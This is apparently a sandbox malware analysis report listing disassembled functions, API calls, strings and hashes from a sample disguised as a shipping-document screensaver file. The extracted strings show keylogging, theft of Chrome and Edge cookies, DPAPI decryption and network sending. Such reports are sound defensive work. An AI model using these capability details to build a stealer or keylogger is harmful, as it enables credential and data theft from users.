                                                                                        • Opcode Fuzzy Hash: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                                                                                        • Instruction Fuzzy Hash: F3F04F76504600B79620EB5DE8C2C1B73D9EA0571A795891BF66CDB612CB38FCC0869C
                                                                                        Function 00444048 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • _free.LIBCMT ref: 00444066
                                                                                          • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
                                                                                          • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                                                                        • _free.LIBCMT ref: 00444078
                                                                                        • _free.LIBCMT ref: 0044408B
                                                                                        • _free.LIBCMT ref: 0044409C
                                                                                        • _free.LIBCMT ref: 004440AD
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: _free$ErrorFreeHeapLast
                                                                                        • String ID:
                                                                                        • API String ID: 776569668-0
                                                                                        • Opcode ID: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                                                                                        • Instruction ID: c4ed0220327abb1134bcf7d54e43c2409a3611c90002b0fe773cef56a7474a4d
                                                                                        • Opcode Fuzzy Hash: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                                                                                        • Instruction Fuzzy Hash: 11F03AB18009208FA631AF2DBD414053B61E705769346822BF62C62A70C7B94ED2CFCF
                                                                                        Function 0044BA37 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: PkGNG
                                                                                        • API String ID: 0-263838557
                                                                                        • Opcode ID: 6a83c2428ddcf6ea71a3f14a315267ad78d224b448d93c685a7e270e7132f7c7
                                                                                        • Instruction ID: 56b21f6c39f874414c878b072b89285690216c2d241c0ad811085e1835033e53
                                                                                        • Opcode Fuzzy Hash: 6a83c2428ddcf6ea71a3f14a315267ad78d224b448d93c685a7e270e7132f7c7
                                                                                        • Instruction Fuzzy Hash: 1B51B271D00249AAEF14DFA9C885FAFBBB8EF45314F14015FE400A7291DB78D901CBA9
                                                                                        Function 0044E6E9 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • _strpbrk.LIBCMT ref: 0044E738
                                                                                        • _free.LIBCMT ref: 0044E855
                                                                                          • Part of subcall function 0043BD19: IsProcessorFeaturePresent.KERNEL32(00000017,0043BCEB,?,?,?,?,?,00000000,?,?,0043BD0B,00000000,00000000,00000000,00000000,00000000), ref: 0043BD1B
                                                                                          • Part of subcall function 0043BD19: GetCurrentProcess.KERNEL32(C0000417), ref: 0043BD3D
                                                                                          • Part of subcall function 0043BD19: TerminateProcess.KERNEL32(00000000), ref: 0043BD44
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                                                                                        • String ID: *?$.
                                                                                        • API String ID: 2812119850-3972193922
                                                                                        • Opcode ID: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
                                                                                        • Instruction ID: 94a4b4bbf586d133b1ca6d09685756ea089c4dad0dcc4a5060c65dcbb11523ea
                                                                                        • Opcode Fuzzy Hash: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
                                                                                        • Instruction Fuzzy Hash: B951C375E00109EFEF14DFAAC881AAEBBB5FF58314F25816EE454E7301E6399E018B54
                                                                                        Function 00415AEA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CountEventTick
                                                                                        • String ID: !D@$NG
                                                                                        • API String ID: 180926312-2721294649
                                                                                        • Opcode ID: b594ea947eeeebaeb01dcb2502271808d01e6126574666623e926871b5046dd7
                                                                                        • Instruction ID: 1740d3d485f2be3f914829e5aa2a54ae858af1ae40273f66f7ff2800e9d96298
                                                                                        • Opcode Fuzzy Hash: b594ea947eeeebaeb01dcb2502271808d01e6126574666623e926871b5046dd7
                                                                                        • Instruction Fuzzy Hash: 7E51A1316083019AC724FB32D852AEF73A5AF94314F50493FF54A671E2EF3C5949C68A
                                                                                        Function 00409EA3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 157COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetKeyboardLayoutNameA.USER32(?), ref: 00409ED3
                                                                                          • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
                                                                                          • Part of subcall function 0041C515: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00409F5B,00474EE0,?,00474EE0,00000000,00474EE0,00000000), ref: 0041C52A
                                                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CreateFileKeyboardLayoutNameconnectsend
                                                                                        • String ID: XQG$NG$PG
                                                                                        • API String ID: 1634807452-3565412412
                                                                                        • Opcode ID: 54480eb0bc649cc79f0ae2d6016b7d596c1c2f6fed1d275c9adea3c12e8bc9d3
                                                                                        • Instruction ID: e0ccbd324811511655e6ba18c086c0ffec884fa52ef92f7e14ea490dcf81b303
                                                                                        • Opcode Fuzzy Hash: 54480eb0bc649cc79f0ae2d6016b7d596c1c2f6fed1d275c9adea3c12e8bc9d3
                                                                                        • Instruction Fuzzy Hash: BA5133315082415AC324F732D852AEFB3E5AFD4348F50493FF44A671E6EF78594AC649
                                                                                        Function 00442385 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424DE
                                                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424F3
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                                                        • String ID: `#D$`#D
                                                                                        • API String ID: 885266447-2450397995
                                                                                        • Opcode ID: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                                                                                        • Instruction ID: d0478598ef992627c852fcfbe86add3ca1c9fa58067414995f231753f3186543
                                                                                        • Opcode Fuzzy Hash: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                                                                                        • Instruction Fuzzy Hash: 78519071A00208AFDF18DF59C980AAEBBB2FB94314F59C19AF81897361D7B9DD41CB44
                                                                                        Function 00443435 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe,00000104), ref: 00443475
                                                                                        • _free.LIBCMT ref: 00443540
                                                                                        • _free.LIBCMT ref: 0044354A
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: _free$FileModuleName
                                                                                        • String ID: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                                                                                        • API String ID: 2506810119-1077712330
                                                                                        • Opcode ID: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                                                                                        • Instruction ID: 78b8e4ab202bb8962dfea6a4c95dea7b8c186c0554b41bb8e719afd17783d6d0
                                                                                        • Opcode Fuzzy Hash: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                                                                                        • Instruction Fuzzy Hash: 2E31C471A00258BFEB21DF999C8199EBBBCEF85B15F10406BF50497311D6B89F81CB98
                                                                                        Function 0044B81F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101fileCOMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000,FF8BC35D,00000000,?,PkGNG,0044BB7E,?,00000000,FF8BC35D), ref: 0044B8D2
                                                                                        • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0044B900
                                                                                        • GetLastError.KERNEL32 ref: 0044B931
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ByteCharErrorFileLastMultiWideWrite
                                                                                        • String ID: PkGNG
                                                                                        • API String ID: 2456169464-263838557
                                                                                        • Opcode ID: f29f19b57bd44476b84c2158df793cbd226619e25f42890a5cb9caccfef44ccc
                                                                                        • Instruction ID: a4f89274a665815b2d7bd0a52cbb4c71b9b2878c435ac706d73e761117ab6cd9
                                                                                        • Opcode Fuzzy Hash: f29f19b57bd44476b84c2158df793cbd226619e25f42890a5cb9caccfef44ccc
                                                                                        • Instruction Fuzzy Hash: 18317271A002199FDB14DF59DC809EAB7B8EB48305F0444BEE90AD7260DB34ED80CBA4
                                                                                        Function 0040404C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93sleepCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00404066
                                                                                          • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041B99F
                                                                                          • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5,?,?,004040F5,00465E74), ref: 0041857E
                                                                                          • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F,?,?,004040F5,00465E74), ref: 00418587
                                                                                          • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C49E
                                                                                        • Sleep.KERNEL32(000000FA,00465E74), ref: 00404138
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                                                                                        • String ID: /sort "Visit Time" /stext "$0NG
                                                                                        • API String ID: 368326130-3219657780
                                                                                        • Opcode ID: 5a82faa1ad293261ac248fbd7caeb08181cf258f5e0d188fe14b0def416cf126
                                                                                        • Instruction ID: 62b88373b0174ac8ae4090b78ebfd0a8fca35ca34796720d8357018cc2c92f87
                                                                                        • Opcode Fuzzy Hash: 5a82faa1ad293261ac248fbd7caeb08181cf258f5e0d188fe14b0def416cf126
                                                                                        • Instruction Fuzzy Hash: E9316271A0011956CB15FBA6D8969EE7375AB90308F40007FF206B71E2EF385D89CA99
                                                                                        Function 004162E4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • _wcslen.LIBCMT ref: 004162F5
                                                                                          • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                                                                                          • Part of subcall function 00413877: RegSetValueExA.ADVAPI32(004660A4,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040C152,00466C48,00000001,000000AF,004660A4), ref: 004138A0
                                                                                          • Part of subcall function 00413877: RegCloseKey.ADVAPI32(004660A4,?,?,?,0040C152,00466C48,00000001,000000AF,004660A4), ref: 004138AB
                                                                                          • Part of subcall function 00409DE4: _wcslen.LIBCMT ref: 00409DFD
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: _wcslen$CloseCreateValue
                                                                                        • String ID: !D@$okmode$PG
                                                                                        • API String ID: 3411444782-3370592832
                                                                                        • Opcode ID: 3229767f42b224c22e38ab05f87ced9dbd25ea478007aec8b0515c8cef1bdfe3
                                                                                        • Instruction ID: dff749dc984b923ba5de2327a6f3f9cc2e67bcaf748228c26ce3aec7d70e92d7
                                                                                        • Opcode Fuzzy Hash: 3229767f42b224c22e38ab05f87ced9dbd25ea478007aec8b0515c8cef1bdfe3
                                                                                        • Instruction Fuzzy Hash: 10119371B442011ADB187B72D832ABD22969F94358F80443FF54AAF2E2DEBD4C51525D
                                                                                        Function 0040C5EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0040C4C3: PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Google\Chrome\,00000000), ref: 0040C4F6
                                                                                        • PathFileExistsW.SHLWAPI(00000000), ref: 0040C61D
                                                                                        • PathFileExistsW.SHLWAPI(00000000,-00000011,?,00000000,00000000), ref: 0040C688
                                                                                        Strings
                                                                                        • User Data\Default\Network\Cookies, xrefs: 0040C603
                                                                                        • User Data\Profile ?\Network\Cookies, xrefs: 0040C635
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ExistsFilePath
                                                                                        • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                                                                                        • API String ID: 1174141254-1980882731
                                                                                        • Opcode ID: ec0199523fc237e56364718817167f2e0688e89b82cc13cff5a9b1f21d5ed8d2
                                                                                        • Instruction ID: e6b9b9a8142aca5ff9e4641a3ff80a721fb4b0471daa7637ae592fad8ebd6223
                                                                                        • Opcode Fuzzy Hash: ec0199523fc237e56364718817167f2e0688e89b82cc13cff5a9b1f21d5ed8d2
                                                                                        • Instruction Fuzzy Hash: B421037190011996CB14F7A2DC96CEEB738EE50319F40053FB502B31D2EF789A46C698
                                                                                        Function 0040C6BB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0040C526: PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Microsoft\Edge\,00000000), ref: 0040C559
                                                                                        • PathFileExistsW.SHLWAPI(00000000), ref: 0040C6EC
                                                                                        • PathFileExistsW.SHLWAPI(00000000,-00000011,?,00000000,00000000), ref: 0040C757
                                                                                        Strings
                                                                                        • User Data\Default\Network\Cookies, xrefs: 0040C6D2
                                                                                        • User Data\Profile ?\Network\Cookies, xrefs: 0040C704
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ExistsFilePath
                                                                                        • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                                                                                        • API String ID: 1174141254-1980882731
                                                                                        • Opcode ID: 830e565da1f4430f56a3fad2b3585c60fae3d202001501423d8e3de01861922a
                                                                                        • Instruction ID: 83f6a23093d6b0727a30a1d550f3d6f5bdb2bb72864fa742cd8a9fd6423befd9
                                                                                        • Opcode Fuzzy Hash: 830e565da1f4430f56a3fad2b3585c60fae3d202001501423d8e3de01861922a
                                                                                        • Instruction Fuzzy Hash: AE21D37190011AD6CB05F7A2DC96CEEB778EE50719B50013FF502B31D2EF789A46C698
                                                                                        Function 0040A179 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateThread.KERNEL32(00000000,00000000,0040A27D,004750F0,00000000,00000000), ref: 0040A1FE
                                                                                        • CreateThread.KERNEL32(00000000,00000000,0040A267,004750F0,00000000,00000000), ref: 0040A20E
                                                                                        • CreateThread.KERNEL32(00000000,00000000,0040A289,004750F0,00000000,00000000), ref: 0040A21A
                                                                                          • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
                                                                                          • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CreateThread$LocalTimewsprintf
                                                                                        • String ID: Offline Keylogger Started
                                                                                        • API String ID: 465354869-4114347211
                                                                                        • Opcode ID: 739852a997fc0ae6182b294a28b4bb93c4a2cbea1e12e060c92b97aef043fd25
                                                                                        • Instruction ID: bcf1cfbdc14a627f6781ea3a40f7cea6448602225ce5b2be95dc640702f6c2bd
                                                                                        • Opcode Fuzzy Hash: 739852a997fc0ae6182b294a28b4bb93c4a2cbea1e12e060c92b97aef043fd25
                                                                                        • Instruction Fuzzy Hash: DE1194B12003187AD220B7369C86CBB765DDA8139CB00057FF946222D2EA795D54CAFB
                                                                                        Function 0040AEEE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
                                                                                          • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                                                                                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                        • CreateThread.KERNEL32(00000000,00000000,0040A267,?,00000000,00000000), ref: 0040AF6E
                                                                                        • CreateThread.KERNEL32(00000000,00000000,0040A289,?,00000000,00000000), ref: 0040AF7A
                                                                                        • CreateThread.KERNEL32(00000000,00000000,0040A295,?,00000000,00000000), ref: 0040AF86
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CreateThread$LocalTime$wsprintf
                                                                                        • String ID: Online Keylogger Started
                                                                                        • API String ID: 112202259-1258561607
                                                                                        • Opcode ID: be6d66d5fa79c5f31e74c778d4d5e15bc8bc5d5b3a82591b70bbeab99a5f0c5b
                                                                                        • Instruction ID: a86b307176fed80e65d2d8085b20e14cf0e56bf63d45b36b749a5edd9f3e52e0
                                                                                        • Opcode Fuzzy Hash: be6d66d5fa79c5f31e74c778d4d5e15bc8bc5d5b3a82591b70bbeab99a5f0c5b
                                                                                        • Instruction Fuzzy Hash: 1401C8A070031939E62076365C87D7F7A5DCA81398F40057FF645362C6D97D1C5586FB
                                                                                        Function 0041B4EF Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 59timeCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: LocalTime
                                                                                        • String ID: | $%02i:%02i:%02i:%03i $PkGNG
                                                                                        • API String ID: 481472006-3277280411
                                                                                        • Opcode ID: cd8841d7ce7b31923eb0730a989a812e14017909399abac035ca2ef2887a575a
                                                                                        • Instruction ID: b0c371a91d376d28eb23a1cf2c2b6b2589463c7c7bf84255da33bc44f247512a
                                                                                        • Opcode Fuzzy Hash: cd8841d7ce7b31923eb0730a989a812e14017909399abac035ca2ef2887a575a
                                                                                        • Instruction Fuzzy Hash: 361181714082055AC304EB62D8419BFB3E9AB44348F50093FF895A21E1EF3CDA49C65A
                                                                                        Function 00404F51 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58timethreadCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetLocalTime.KERNEL32(?), ref: 00404F81
                                                                                        • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00404FCD
                                                                                        • CreateThread.KERNEL32(00000000,00000000,00405150,?,00000000,00000000), ref: 00404FE0
                                                                                        Strings
                                                                                        • KeepAlive | Enabled | Timeout: , xrefs: 00404F94
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Create$EventLocalThreadTime
                                                                                        • String ID: KeepAlive | Enabled | Timeout:
                                                                                        • API String ID: 2532271599-1507639952
                                                                                        • Opcode ID: 7c8a9ce4b383af45d5410d66a549d3ab3812e2de270479e75a3fa2d1d41e82a0
                                                                                        • Instruction ID: 982fc92e7e47f2769c776e0d9ab1702947c5453eb715a4cfed9cf45540ca89dc
                                                                                        • Opcode Fuzzy Hash: 7c8a9ce4b383af45d5410d66a549d3ab3812e2de270479e75a3fa2d1d41e82a0
                                                                                        • Instruction Fuzzy Hash: A8110671904385AAC720A7778C0DEAB7FA8DBD2710F04046FF54163291DAB89445CBBA
                                                                                        Function 00406A63 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • LoadLibraryA.KERNEL32(crypt32,CryptUnprotectData), ref: 00406A82
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 00406A89
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: AddressLibraryLoadProc
                                                                                        • String ID: CryptUnprotectData$crypt32
                                                                                        • API String ID: 2574300362-2380590389
                                                                                        • Opcode ID: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                                                                                        • Instruction ID: d796ed41fc96dc9ef8d801536240fab0e9422483ab40f89d2a564a4d0f07de08
                                                                                        • Opcode Fuzzy Hash: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                                                                                        • Instruction Fuzzy Hash: 6201B535B00216ABCB18DFAD9D449ABBBB8EB49300F14817EE95AE3341D674D9008BA4
                                                                                        Function 0044C253 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • SetFilePointerEx.KERNEL32(00000000,00000000,00000002,FF8BC369,00000000,FF8BC35D,00000000,10558B1C,10558B1C,PkGNG,0044C302,FF8BC369,00000000,00000002,00000000,PkGNG), ref: 0044C28C
                                                                                        • GetLastError.KERNEL32 ref: 0044C296
                                                                                        • __dosmaperr.LIBCMT ref: 0044C29D
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorFileLastPointer__dosmaperr
                                                                                        • String ID: PkGNG
                                                                                        • API String ID: 2336955059-263838557
                                                                                        • Opcode ID: 60eaf30ffa5a6b77e16cdf42a69bcf8f7fa5cf007f91ab5b57ca5c6e56bd7837
                                                                                        • Instruction ID: 03228b3a5a263cac3d3762c0c6cb9bea0ee6cefe7ee70a3785aa569069518732
                                                                                        • Opcode Fuzzy Hash: 60eaf30ffa5a6b77e16cdf42a69bcf8f7fa5cf007f91ab5b57ca5c6e56bd7837
                                                                                        • Instruction Fuzzy Hash: 9E016D32A11104BBDF008FE9CC4089E3719FB86320B28039AF810A7290EAB5DC118B64
                                                                                        Function 0040515C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00405159), ref: 00405173
                                                                                        • CloseHandle.KERNEL32(?), ref: 004051CA
                                                                                        • SetEvent.KERNEL32(?), ref: 004051D9
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseEventHandleObjectSingleWait
                                                                                        • String ID: Connection Timeout
